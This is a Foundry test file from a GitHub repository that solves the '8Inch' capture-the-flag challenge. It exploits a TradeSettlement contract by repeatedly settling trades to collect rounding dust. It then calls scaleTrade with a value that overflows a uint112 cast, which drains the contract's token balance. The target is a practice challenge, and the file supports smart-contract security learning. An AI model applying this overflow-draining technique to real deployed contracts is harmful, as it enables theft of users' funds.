-
Notifications
You must be signed in to change notification settings - Fork 5
/
Copy pathSolution.t.sol
35 lines (27 loc) · 1.09 KB
/
Solution.t.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
pragma solidity ^0.8.0;
import {TradeSettlement, Challenge} from "../src/8Inch.sol";
import {IERC20} from "../src/ERC20.sol";
import {Test} from "forge-std/Test.sol";
import "forge-std/console.sol";
contract TSTest is Test {
Challenge challenge;
function setUp() public {
challenge = new Challenge();
}
function test_tradeSettlement() public {
TradeSettlement tradeSettlement = challenge.tradeSettlement();
address wojak = address(challenge.wojak());
address weth = address(challenge.weth());
for (uint256 i = 0; i < 10; i++) {
tradeSettlement.settleTrade(0, 9);
}
IERC20(wojak).approve(address(tradeSettlement), type(uint256).max);
tradeSettlement.createTrade(wojak, weth, 31, 0);
tradeSettlement.scaleTrade(1, 5192296858534827628530496329220066);
tradeSettlement.settleTrade(1, IERC20(wojak).balanceOf(address(tradeSettlement)));
IERC20(wojak).transfer(address(0xc0ffee), 10 ether);
console.log(challenge.isSolved());
}
}
// type112(1e18 * scale) => 1e18
// 1e7 * scale => 1